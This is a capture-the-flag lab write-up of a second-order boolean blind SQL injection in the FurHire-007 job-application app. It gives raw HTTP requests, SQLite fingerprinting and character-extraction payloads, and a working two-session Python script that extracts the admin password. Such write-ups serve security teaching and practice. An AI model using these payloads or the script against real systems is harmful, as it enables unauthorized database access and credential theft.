FurHire-007 - Second Order Boolean SQL Injection
by Shawn Szczepkowski
Lab Info
- Platform: BugForge
- Lab: FurHire-007
- Flag:
bug{48CUep4W8QVbV2pSb5OEo2D9zl87mOkO} - Vulnerability: Second-Order Boolean Blind SQL Injection
- Endpoint:
PUT /api/applications/:id/status
Summary
The application status update endpoint accepted unsanitized input from the recruiter account. The injected SQL was executed server-side and the boolean result was reflected back via the applicant’s GET /api/my-applications response in the status field. This created an out-of-band exfiltration channel by viewing the application status as the posting recruiter or the applicant.
Accounts
| Role | Username | Token |
|---|---|---|
| Recruiter | test | JWT (id:7) |
| Applicant | test1 | JWT (id:8) |
Recon
- No bot interaction in this lab variant — ruled out WebSocket XSS early
- Active scan produced no reliable findings (noisy timing hits on
/api/jobs?search, discarded) - JWT HS256 cracking attempted against rockyou.txt via jwt_tool and hashcat — no result
- Mass assignment attempted on
PUT /api/profileandPUT /api/company— server filtered extra fields silently - Missing auth control noted: applicant token accepted on
PUT /api/companywith 200 response but no effect
Vulnerability Discovery
Injecting a single quote into the status field returned a 500 database error:
PUT /api/applications/1/status HTTP/2
Host: lab-[...].labs-app.bugforge.io
Authorization: Bearer <recruiter_token>
Content-Type: application/json
{"status":"accepted'"}
Boolean payloads confirmed injectable and reflected in applicant status field:
{"status":"accepted' OR '1'='1"} → applicant sees status: "1"
{"status":"accepted' OR '1'='2"} → applicant sees status: "0"
Database Fingerprinting
SQLite confirmed via:
{"status":"accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1"}
Returns 1. information_schema errored confirming not MySQL/Postgres.
Exploitation
UNION-based injection errored across all column counts. Binary search via unicode() failed. Direct character comparison via substr() with full subquery wrapping worked:
{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,1))='b"}
Confirmed flag prefix manually:
{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,4))='bug{"}
Admin user was discovered during registration enumeration so I went with it. Returns 1. Password matches our expected flag format.
Extraction Script
Two-session Python script using recruiter token to inject and applicant token to read the boolean result:
import requests
import time
host = "https://lab-[...].labs-app.bugforge.io"
recruiter_headers = {"Authorization": "Bearer <recruiter_token>", "Content-Type": "application/json"}
applicant_headers = {"Authorization": "Bearer <applicant_token>", "Content-Type": "application/json"}
charset = "bug{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def get_status():
r = requests.get(f"{host}/api/my-applications", headers=applicant_headers)
return r.json()[0]["status"]
def check(payload):
requests.put(f"{host}/api/applications/1/status", json={"status": payload}, headers=recruiter_headers)
time.sleep(0.5)
return get_status() == "1"
def get_char(query, pos):
for c in charset:
payload = f"accepted' OR (SELECT substr(({query}),{pos},1))='{c}"
if check(payload):
return c
return None
def extract(query, max_len=300):
result = ""
for i in range(1, max_len):
c = get_char(query, i)
if c is None:
break
result += c
print(f"[+] pos {i}: {c} => {result}")
return result
password = extract("SELECT password FROM users WHERE username='admin'")
print(f"\n[+] Flag: {password}")
Key Payloads
| Purpose | Payload |
|---|---|
| Error trigger | accepted' |
| Boolean true | accepted' OR '1'='1 |
| Boolean false | accepted' OR '1'='2 |
| SQLite fingerprint | accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1 |
| Char extraction | accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),{i},1))='{c} |
Why Second-Order
The injection was submitted via the recruiter’s status update endpoint but the boolean result was reflected in the application status field, visible both in the applicant’s GET /api/my-applications response and the recruiter’s own applicant dashboard. sqlmap failed because it could not correlate the injected request with the reflected result in a subsequent GET response. Manual exploitation was used with a two-session Python script, though a single recruiter session would also have worked by polling the applicant dashboard after each injection.